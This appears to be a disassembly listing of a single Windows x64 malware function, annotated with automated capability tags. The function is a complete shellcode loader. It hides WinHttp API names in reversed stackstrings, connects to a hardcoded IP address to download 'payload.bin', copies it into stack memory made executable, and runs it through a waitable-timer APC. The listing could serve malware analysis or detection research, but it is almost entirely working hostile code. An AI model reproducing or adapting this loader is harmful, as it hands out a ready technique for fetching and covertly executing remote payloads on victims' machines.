Function at 0x140001280
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xd38
mov qword [rsp + 0xcd8], 0xfffffffffffffffe
mov rax, qword [0x14000f040]
xor rax, rsp
mov qword [rsp + 0xd20], rax
mov qword [rsp + 0x878], 0
mov qword [rsp + 0x888], 0
mov qword [rsp + 0x940], 0
mov qword [rsp + 0x8c0], 0
lea rcx, [rsp + 0x850]
call fcn.140001d20
nop
mov dword [rsp + 0x880], 0
mov dword [rsp + 0x8f8], 0
lea r9, [rsp + 0x880]
mov r8d, 0x40
mov edx, 0x7d0
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [rsp + 0x930], 0x57
mov byte [rsp + 0x931], 0x69
mov byte [rsp + 0x932], 0x6e
mov byte [rsp + 0x933], 0x68
mov byte [rsp + 0x934], 0x74
mov byte [rsp + 0x935], 0x74
mov byte [rsp + 0x936], 0x70
mov byte [rsp + 0x937], 0x2e
mov byte [rsp + 0x938], 0x64
mov byte [rsp + 0x939], 0x6c
mov byte [rsp + 0x93a], 0x6c
mov byte [rsp + 0x93b], 0
lea rcx, [rsp + 0x930]
call fcn.140001180
mov qword [rsp + 0x878], rax
mov byte [rsp + 0x8e8], 0x6e
mov byte [rsp + 0x8e9], 0x65
mov byte [rsp + 0x8ea], 0x70
mov byte [rsp + 0x8eb], 0x4f
mov byte [rsp + 0x8ec], 0x70
mov byte [rsp + 0x8ed], 0x74
mov byte [rsp + 0x8ee], 0x74
mov byte [rsp + 0x8ef], 0x48
mov byte [rsp + 0x8f0], 0x6e
mov byte [rsp + 0x8f1], 0x69
mov byte [rsp + 0x8f2], 0x57
mov byte [rsp + 0x8f3], 0
lea rdx, [rsp + 0x8e8]
lea rcx, [rsp + 0x850]
call fcn.140001de0
lea rax, [rsp + 0xb50]
mov qword [rsp + 0xb78], rax
lea rdx, [rsp + 0x850]
mov rcx, qword [rsp + 0xb78]
call fcn.140001d70
mov qword [rsp + 0xce0], rax
mov rdx, qword [rsp + 0x878]
mov rcx, qword [rsp + 0xce0]
call fcn.1400011a0
mov qword [0x140011060], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Chromium
call qword [0x140011060]
mov qword [rsp + 0x888], rax
mov byte [rsp + 0x920], 0x74
mov byte [rsp + 0x921], 0x63
mov byte [rsp + 0x922], 0x65
mov byte [rsp + 0x923], 0x6e
mov byte [rsp + 0x924], 0x6e
mov byte [rsp + 0x925], 0x6f
mov byte [rsp + 0x926], 0x43
mov byte [rsp + 0x927], 0x70
mov byte [rsp + 0x928], 0x74
mov byte [rsp + 0x929], 0x74
mov byte [rsp + 0x92a], 0x48
mov byte [rsp + 0x92b], 0x6e
mov byte [rsp + 0x92c], 0x69
mov byte [rsp + 0x92d], 0x57
mov byte [rsp + 0x92e], 0
lea rdx, [rsp + 0x920]
lea rcx, [rsp + 0x850]
call fcn.140001de0
lea rax, [rsp + 0xb80]
mov qword [rsp + 0xba8], rax
lea rdx, [rsp + 0x850]
mov rcx, qword [rsp + 0xba8]
call fcn.140001d70
mov qword [rsp + 0xce8], rax
mov rdx, qword [rsp + 0x878]
mov rcx, qword [rsp + 0xce8]
call fcn.1400011a0
mov qword [0x140011058], rax
xor r9d, r9d
mov r8w, 0x118
lea rdx, str.156.245.19.172
mov rcx, qword [rsp + 0x888]
call qword [0x140011058]
mov qword [rsp + 0x940], rax
mov byte [rsp + 0x58], 0x74
mov byte [rsp + 0x59], 0x73
mov byte [rsp + 0x5a], 0x65
mov byte [rsp + 0x5b], 0x75
mov byte [rsp + 0x5c], 0x71
mov byte [rsp + 0x5d], 0x65
mov byte [rsp + 0x5e], 0x52
mov byte [rsp + 0x5f], 0x6e
mov byte [rsp + 0x60], 0x65
mov byte [rsp + 0x61], 0x70
mov byte [rsp + 0x62], 0x4f
mov byte [rsp + 0x63], 0x70
mov byte [rsp + 0x64], 0x74
mov byte [rsp + 0x65], 0x74
mov byte [rsp + 0x66], 0x48
mov byte [rsp + 0x67], 0x6e
mov byte [rsp + 0x68], 0x69
mov byte [rsp + 0x69], 0x57
mov byte [rsp + 0x6a], 0
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x850]
call fcn.140001de0
lea rax, [rsp + 0xbb0]
mov qword [rsp + 0xbd8], rax
lea rdx, [rsp + 0x850]
mov rcx, qword [rsp + 0xbd8]
call fcn.140001d70
mov qword [rsp + 0xcf0], rax
mov rdx, qword [rsp + 0x878]
mov rcx, qword [rsp + 0xcf0]
call fcn.1400011a0
mov qword [0x140011050], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.payload.bin
lea rdx, [0x14000d038]
mov rcx, qword [rsp + 0x940]
call qword [0x140011050]
mov qword [rsp + 0x8c0], rax
mov byte [rsp + 0x8a8], 0x74
mov byte [rsp + 0x8a9], 0x73
mov byte [rsp + 0x8aa], 0x65
mov byte [rsp + 0x8ab], 0x75
mov byte [rsp + 0x8ac], 0x71
mov byte [rsp + 0x8ad], 0x65
mov byte [rsp + 0x8ae], 0x52
mov byte [rsp + 0x8af], 0x64
mov byte [rsp + 0x8b0], 0x6e
mov byte [rsp + 0x8b1], 0x65
mov byte [rsp + 0x8b2], 0x53
mov byte [rsp + 0x8b3], 0x70
mov byte [rsp + 0x8b4], 0x74
mov byte [rsp + 0x8b5], 0x74
mov byte [rsp + 0x8b6], 0x48
mov byte [rsp + 0x8b7], 0x6e
mov byte [rsp + 0x8b8], 0x69
mov byte [rsp + 0x8b9], 0x57
mov byte [rsp + 0x8ba], 0
lea rdx, [rsp + 0x8a8]
lea rcx, [rsp + 0x850]
call fcn.140001de0
lea rax, [rsp + 0xbe0]
mov qword [rsp + 0xc08], rax
lea rdx, [rsp + 0x850]
mov rcx, qword [rsp + 0xc08]
call fcn.140001d70
mov qword [rsp + 0xcf8], rax
mov rdx, qword [rsp + 0x878]
mov rcx, qword [rsp + 0xcf8]
call fcn.1400011a0
mov qword [0x140011048], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x8c0]
call qword [0x140011048]
mov dword [rsp + 0x948], eax
mov byte [rsp + 0x8d0], 0x65
mov byte [rsp + 0x8d1], 0x73
mov byte [rsp + 0x8d2], 0x6e
mov byte [rsp + 0x8d3], 0x6f
mov byte [rsp + 0x8d4], 0x70
mov byte [rsp + 0x8d5], 0x73
mov byte [rsp + 0x8d6], 0x65
mov byte [rsp + 0x8d7], 0x52
mov byte [rsp + 0x8d8], 0x65
mov byte [rsp + 0x8d9], 0x76
mov byte [rsp + 0x8da], 0x69
mov byte [rsp + 0x8db], 0x65
mov byte [rsp + 0x8dc], 0x63
mov byte [rsp + 0x8dd], 0x65
mov byte [rsp + 0x8de], 0x52
mov byte [rsp + 0x8df], 0x70
mov byte [rsp + 0x8e0], 0x74
mov byte [rsp + 0x8e1], 0x74
mov byte [rsp + 0x8e2], 0x48
mov byte [rsp + 0x8e3], 0x6e
mov byte [rsp + 0x8e4], 0x69
mov byte [rsp + 0x8e5], 0x57
mov byte [rsp + 0x8e6], 0
lea rdx, [rsp + 0x8d0]
lea rcx, [rsp + 0x850]
call fcn.140001de0
lea rax, [rsp + 0xc10]
mov qword [rsp + 0xc38], rax
lea rdx, [rsp + 0x850]
mov rcx, qword [rsp + 0xc38]
call fcn.140001d70
mov qword [rsp + 0xd00], rax
mov rdx, qword [rsp + 0x878]
mov rcx, qword [rsp + 0xd00]
call fcn.1400011a0
mov qword [0x140011040], rax
xor edx, edx
mov rcx, qword [rsp + 0x8c0]
call qword [0x140011040]
mov dword [rsp + 0x948], eax
mov byte [rsp + 0x900], 0x65
mov byte [rsp + 0x901], 0x6c
mov byte [rsp + 0x902], 0x62
mov byte [rsp + 0x903], 0x61
mov byte [rsp + 0x904], 0x6c
mov byte [rsp + 0x905], 0x69
mov byte [rsp + 0x906], 0x61
mov byte [rsp + 0x907], 0x76
mov byte [rsp + 0x908], 0x41
mov byte [rsp + 0x909], 0x61
mov byte [rsp + 0x90a], 0x74
mov byte [rsp + 0x90b], 0x61
mov byte [rsp + 0x90c], 0x44
mov byte [rsp + 0x90d], 0x79
mov byte [rsp + 0x90e], 0x72
mov byte [rsp + 0x90f], 0x65
mov byte [rsp + 0x910], 0x75
mov byte [rsp + 0x911], 0x51
mov byte [rsp + 0x912], 0x70
mov byte [rsp + 0x913], 0x74
mov byte [rsp + 0x914], 0x74
mov byte [rsp + 0x915], 0x48
mov byte [rsp + 0x916], 0x6e
mov byte [rsp + 0x917], 0x69
mov byte [rsp + 0x918], 0x57
mov byte [rsp + 0x919], 0
lea rdx, [rsp + 0x900]
lea rcx, [rsp + 0x850]
call fcn.140001de0
lea rax, [rsp + 0xc40]
mov qword [rsp + 0xc68], rax
lea rdx, [rsp + 0x850]
mov rcx, qword [rsp + 0xc68]
call fcn.140001d70
mov qword [rsp + 0xd08], rax
mov rdx, qword [rsp + 0x878]
mov rcx, qword [rsp + 0xd08]
call fcn.1400011a0
mov qword [0x140011038], rax
mov byte [rsp + 0x48], 0x61
mov byte [rsp + 0x49], 0x74
mov byte [rsp + 0x4a], 0x61
mov byte [rsp + 0x4b], 0x44
mov byte [rsp + 0x4c], 0x64
mov byte [rsp + 0x4d], 0x61
mov byte [rsp + 0x4e], 0x65
mov byte [rsp + 0x4f], 0x52
mov byte [rsp + 0x50], 0x70
mov byte [rsp + 0x51], 0x74
mov byte [rsp + 0x52], 0x74
mov byte [rsp + 0x53], 0x48
mov byte [rsp + 0x54], 0x6e
mov byte [rsp + 0x55], 0x69
mov byte [rsp + 0x56], 0x57
mov byte [rsp + 0x57], 0
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x850]
call fcn.140001de0
lea rax, [rsp + 0xc70]
mov qword [rsp + 0xc98], rax
lea rdx, [rsp + 0x850]
mov rcx, qword [rsp + 0xc98]
call fcn.140001d70
mov qword [rsp + 0xd10], rax
mov rdx, qword [rsp + 0x878]
mov rcx, qword [rsp + 0xd10]
call fcn.1400011a0
mov qword [0x140011030], rax
mov byte [rsp + 0x890], 0x65
mov byte [rsp + 0x891], 0x6c
mov byte [rsp + 0x892], 0x64
mov byte [rsp + 0x893], 0x6e
mov byte [rsp + 0x894], 0x61
mov byte [rsp + 0x895], 0x48
mov byte [rsp + 0x896], 0x65
mov byte [rsp + 0x897], 0x73
mov byte [rsp + 0x898], 0x6f
mov byte [rsp + 0x899], 0x6c
mov byte [rsp + 0x89a], 0x43
mov byte [rsp + 0x89b], 0x70
mov byte [rsp + 0x89c], 0x74
mov byte [rsp + 0x89d], 0x74
mov byte [rsp + 0x89e], 0x48
mov byte [rsp + 0x89f], 0x6e
mov byte [rsp + 0x8a0], 0x69
mov byte [rsp + 0x8a1], 0x57
mov byte [rsp + 0x8a2], 0
lea rdx, [rsp + 0x890]
lea rcx, [rsp + 0x850]
call fcn.140001de0
lea rax, [rsp + 0xca0]
mov qword [rsp + 0xcc8], rax
lea rdx, [rsp + 0x850]
mov rcx, qword [rsp + 0xcc8]
call fcn.140001d70
mov qword [rsp + 0xd18], rax
mov rdx, qword [rsp + 0x878]
mov rcx, qword [rsp + 0xd18]
call fcn.1400011a0
mov qword [0x140011028], rax
mov dword [rsp + 0x94c], 0
mov dword [rsp + 0x880], 0
lea rdx, [rsp + 0x880]
mov rcx, qword [rsp + 0x8c0]
call qword [0x140011038]
mov byte [rsp + 0x950], 0
lea rdi, [rsp + 0x951]
xor eax, eax
mov ecx, 0x1f3
rep stosb byte [rdi], al
lea r9, [rsp + 0x94c]
mov r8d, 0x1f4
lea rdx, [rsp + 0x950]
mov rcx, qword [rsp + 0x8c0]
call qword [0x140011030]
mov ecx, dword [rsp + 0x94c]
mov eax, dword [rsp + 0x8f8]
lea rdi, [rsp + rax + 0x80]
lea rsi, [rsp + 0x950]
rep movsb byte [rdi], byte [rsi]
mov edx, dword [rsp + 0x94c]
mov eax, dword [rsp + 0x8f8]
add eax, edx
mov dword [rsp + 0x8f8], eax
cmp dword [rsp + 0x880], 0
ja 0x140001b9b
mov rcx, qword [rsp + 0x8c0]
call qword [0x140011028]
mov rcx, qword [rsp + 0x940]
call qword [0x140011028]
mov rcx, qword [rsp + 0x888]
call qword [0x140011028]
mov dword [rsp + 0x70], 0
lea rdi, [rsp + 0x74]
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov qword [rsp + 0x8c8], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x80]
xor r8d, r8d
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x8c8]
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
mov edx, 1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_SleepEx]
mov dword [rsp + 0xcd0], 0
lea rcx, [rsp + 0x850]
call fcn.140001dc0
mov eax, dword [rsp + 0xcd0]
mov rcx, qword [rsp + 0xd20]
xor rcx, rsp
call fcn.140002800
add rsp, 0xd38
pop rdi
pop rsi
ret